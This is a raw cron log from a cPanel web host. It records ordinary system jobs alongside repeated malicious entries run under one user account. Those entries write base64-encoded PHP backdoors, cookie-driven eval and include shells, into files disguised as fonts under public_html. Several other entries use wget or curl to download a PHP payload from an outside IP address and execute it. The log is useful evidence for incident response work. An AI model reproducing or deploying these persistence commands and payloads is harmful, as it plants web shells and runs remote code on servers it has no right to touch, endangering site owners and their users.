Sep  8 20:43:01 ip-184-168-122-23 CROND[21573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:43:01 ip-184-168-122-23 CROND[21574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:43:01 ip-184-168-122-23 CROND[21575]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:43:01 ip-184-168-122-23 CROND[21577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:44:01 ip-184-168-122-23 CROND[21755]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 20:44:01 ip-184-168-122-23 CROND[21757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:44:01 ip-184-168-122-23 CROND[21759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:44:01 ip-184-168-122-23 CROND[21761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:44:01 ip-184-168-122-23 CROND[21762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:45:01 ip-184-168-122-23 CROND[21868]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  8 20:45:01 ip-184-168-122-23 CROND[21872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:45:01 ip-184-168-122-23 CROND[21874]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:45:01 ip-184-168-122-23 CROND[21876]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 20:45:01 ip-184-168-122-23 CROND[21875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:45:01 ip-184-168-122-23 CROND[21878]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 20:45:01 ip-184-168-122-23 CROND[21879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:46:01 ip-184-168-122-23 CROND[21972]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:46:01 ip-184-168-122-23 CROND[21974]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 20:46:01 ip-184-168-122-23 CROND[21978]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 20:46:01 ip-184-168-122-23 CROND[21979]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 20:46:01 ip-184-168-122-23 CROND[21975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:46:01 ip-184-168-122-23 CROND[21977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:46:01 ip-184-168-122-23 CROND[21976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:47:01 ip-184-168-122-23 CROND[22101]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:47:01 ip-184-168-122-23 CROND[22105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:47:01 ip-184-168-122-23 CROND[22103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:47:01 ip-184-168-122-23 CROND[22104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:48:01 ip-184-168-122-23 CROND[22203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:48:01 ip-184-168-122-23 CROND[22205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:48:01 ip-184-168-122-23 CROND[22206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:48:01 ip-184-168-122-23 CROND[22208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:48:01 ip-184-168-122-23 CROND[22209]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 20:49:01 ip-184-168-122-23 CROND[22309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:49:01 ip-184-168-122-23 CROND[22311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:49:01 ip-184-168-122-23 CROND[22312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:49:01 ip-184-168-122-23 CROND[22315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:50:01 ip-184-168-122-23 CROND[22412]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 20:50:01 ip-184-168-122-23 CROND[22413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:50:01 ip-184-168-122-23 CROND[22416]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 20:50:01 ip-184-168-122-23 CROND[22420]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 20:50:01 ip-184-168-122-23 CROND[22419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:50:01 ip-184-168-122-23 CROND[22422]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 20:50:01 ip-184-168-122-23 CROND[22418]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 20:50:01 ip-184-168-122-23 CROND[22424]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:50:01 ip-184-168-122-23 CROND[22425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:51:01 ip-184-168-122-23 CROND[22518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:51:01 ip-184-168-122-23 CROND[22520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:51:01 ip-184-168-122-23 CROND[22519]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:51:01 ip-184-168-122-23 CROND[22521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:52:01 ip-184-168-122-23 CROND[22737]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:52:01 ip-184-168-122-23 CROND[22739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:52:01 ip-184-168-122-23 CROND[22740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:52:01 ip-184-168-122-23 CROND[22741]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 20:52:01 ip-184-168-122-23 CROND[22742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:53:01 ip-184-168-122-23 CROND[22838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:53:01 ip-184-168-122-23 CROND[22841]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:53:01 ip-184-168-122-23 CROND[22839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:53:01 ip-184-168-122-23 CROND[22840]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:54:01 ip-184-168-122-23 CROND[22933]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:54:01 ip-184-168-122-23 CROND[22936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:54:01 ip-184-168-122-23 CROND[22937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:54:01 ip-184-168-122-23 CROND[22938]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 20:54:01 ip-184-168-122-23 CROND[22935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:55:01 ip-184-168-122-23 CROND[23025]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
